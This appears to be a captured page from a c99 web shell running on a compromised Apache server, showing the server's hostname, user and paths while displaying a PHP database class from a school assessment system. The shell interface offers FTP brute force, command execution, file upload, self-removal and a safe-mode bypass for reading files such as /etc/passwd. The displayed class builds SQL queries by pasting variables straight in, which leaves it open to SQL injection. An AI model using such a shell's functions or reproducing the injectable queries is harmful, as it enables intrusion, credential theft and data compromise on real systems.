!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/eassess_OLD/class/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     clsEsa_ResultTQPj.php (2.61 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class ResultTQPj extends clsDB{

    var 
$result;

    var 
$rsTQPjid;
    var 
$doPjid;
    var 
$sectionTQid;
    var 
$TQid;
    var 
$comment;

    function 
ResultTQPj(&$c){
        
$this->c=$c->c;
        
$this->DB=$c->db;
    }

    function 
GetNextCode(){
        
$this->SetQuery("select max(rsTQPjid) as num from ea_ResultTQPj");
        if (
$result=$this->GetResult()) {
            return 
$result['num']+1;
        }
    }

    function 
Save(){
    
//--ข้อมูลในอ๊อบเจ๊กเป็นข้อมูลใหม่หรือข้อมูลเดิม --1:ข้อมูลใหม่  2:ข้อมูลเดิม
        
if ($this->status==1){
            
//uncomment a line below if your table use ID as running number
            
$this->resultTQid=$this->GetNextCode();
            
$sql "insert into ea_ResultTQPj values(
                '$this->rsTQPjid',
                '$this->doPjid',
                '$this->sectionTQid',
                '$this->TQid',
                '$this->comment'
                )"
;
        }else {
            
$sql "update ea_ResultTQPj set 
                doPjid='$this->doPjid', 
                sectionTQid='$this->sectionTQid', 
                TQid='$this->TQid', 
                comment='$this->comment' 
                where rsTQPjid='$this->rsTQPjid'"
;
        }
        return 
$this->Dml($sql);
    }

    function 
GetRecord(){
        if (
$this->result $this->GetResult()) {
            
$this->rsTQPjid $this->result['rsTQPjid'];
            
$this->doPjid $this->result['doPjid'];
            
$this->sectionRQid $this->result['sectionRQid'];
            
$this->TQid $this->result['TQid'];
            
$this->comment $this->result['comment'];
            return 
1;
        }else {
            return 
0;
        }
    }

    function 
RSComment($acadYear$semester$assid$defineid$pjid$stdid='%'){
        
$cond '';
        
$cond.= ($defineid!='%')? " AND df.defineid = $defineid" '' ;
        
$cond.= ($pjid!='%')? " AND da.pjId = $pjid" '' ;
        
$cond.= ($stdid!='%')? " AND da.stdId = $stdid" '' ;
    
//    $cond.= "AND comment NOT IN ('-','--','_',' ')";
        
$sql "
                SELECT distinct comment 
                FROM DefineAssessment df
                INNER JOIN ea_DoProject da ON df.defineid = da.defineid
                INNER JOIN ea_ResultTQPj rtq ON rtq.doPjid = da.doPjid
                WHERE df.acadYear = '$acadYear'
                AND df.semester = '$semester'
                AND df.assid = '$assid'
                $cond
        "
;
        if (
$this->SetQuery($sql)){ 
            return 
1;
        }else {
            return 
0;
        }
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0109 ]--